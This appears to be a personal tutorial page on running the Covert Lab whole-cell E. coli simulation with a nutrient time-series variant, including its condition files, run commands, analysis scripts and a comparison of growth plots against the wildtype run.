VARIANT="condition" FIRST_VARIANT_INDEX=1 LAST_VARIANT_INDEX=1 python runscripts/manual/runSim.py
```
reconstruction/ecoli/flat/condition/condition_defs.tsv contains lines of form:
```
"condition" "nutrients"                "genotype perturbations" "doubling time (units.min)" "active TFs"
"basal"     "minimal"                  {}                       44.0                        []
"no_oxygen" "minimal_minus_oxygen"     {}                       100.0                       []
"with_aa"   "minimal_plus_amino_acids" {}                       25.0                        ["CPLX-125", "MONOMER0-162", "CPLX0-7671", "CPLX0-228", "MONOMER0-155"]
```
- condition refers to entries in reconstruction/ecoli/flat/condition/condition_defs.tsv
- nutrients refers to entries under reconstruction/ecoli/flat/condition/nutrient/, e.g. reconstruction/ecoli/flat/condition/nutrient/minimal.tsv or reconstruction/ecoli/flat/condition/nutrient/minimal_plus_amino_acids.tsv
- genotype perturbations: there aren't any in the file, but this suggests that genotype modifications can also be incorporated here
- doubling time: TODO experimental data? Because this should be a simulation output, right? Or do they cheat and fix doubling by time?
- active TFs: this suggests that they are cheating transcription factors here, as those would ideally be functions of other more basic inputs

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E. Coli Whole Cell Model by Covert Lab / Time series run variant Updated 2025-07-16

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To modify the nutrients as a function of time, with To select a time series we can use something like:

python runscripts/manual/runSim.py --variant nutrientTimeSeries 25 25

As mentioned in python runscripts/manual/runSim.py --help, nutrientTimeSeries is one of the choices from github.com/CovertLab/WholeCellEcoliRelease/blob/7e4cc9e57de76752df0f4e32eca95fb653ea64e4/models/ecoli/sim/variants/__init__.py#L57

25 25 means to start from index 25 and also end at 25, so running just one simulation. 25 27 would run 25 then 26 and then 27 for example.

The timeseries with index 25 is reconstruction/ecoli/flat/condition/timeseries/000025_cut_aa.tsv and contains

"time (units.s)" "nutrients"
0 "minimal_plus_amino_acids"
1200 "minimal"

so we understand that it starts with extra amino acids in the medium, which benefit the cell, and half way through those are removed at time 1200s = 20 minutes. We would therefore expect the cell to start expressing amino acid production genes exactly at that point.

nutrients likely means condition in that file however, see bug report with 1 1 failing: github.com/CovertLab/WholeCellEcoliRelease/issues/24

When we do this the simulation ends in:

Simulation finished:
 - Length: 0:34:23
 - Runtime: 0:08:03

so we see that the doubling time was faster than the one with minimal conditions of 0:42:49, which makes sense, since during the first 20 minutes the cell had extra amino acid nutrients at its disposal.

The output directory now contains simulation output data under out/manual/nutrientTimeSeries_000025/. Let's run analysis and plots for that:

python runscripts/manual/analysisVariant.py &&
python runscripts/manual/analysisCohort.py --variant 25 &&
python runscripts/manual/analysisMultigen.py --variant 25 &&
python runscripts/manual/analysisSingle.py --variant 25

We can now compare the outputs of this run to the default wildtype_000000 run from Section "Install and first run".

out/manual/plotOut/svg_plots/massFractionSummary.svg: because we now have two variants in the same out/ folder, wildtype_000000 and nutrientTimeSeries_000025, we now see a side by side comparision of both on the same graph!
The run variant where we started with amino acids initially grows faster as expected, because the cell didn't have to make it's own amino acids, so growth is a bit more efficient.
Then, at 20 minutes, which is about 0.3 hours, we see that the cell starts growing a bit less fast as the slope of the curve decreases a bit, because we removed that free amino acid supply.
Figure 1.
Minimal condition vs amino acid cut mass fraction plot
. Source. From file out/manual/plotOut/svg_plots/massFractionSummary.svg.

The following plots from under out/manual/wildtype_000000/000000/{generation_000000,nutrientTimeSeries_000025}/000000/plotOut/svg_plots have been manually joined side-by-side with:

for f in out/manual/wildtype_000000/000000/generation_000000/000000/plotOut/svg_plots/*; do
  echo $f
  svg_stack.py \
    --direction h \
    out/manual/wildtype_000000/000000/generation_000000/000000/plotOut/svg_plots/$(basename $f) \
    out/manual/nutrientTimeSeries_000025/000000/generation_000000/000000/plotOut/svg_plots/$(basename $f) \
    > tmp/$(basename $f)
done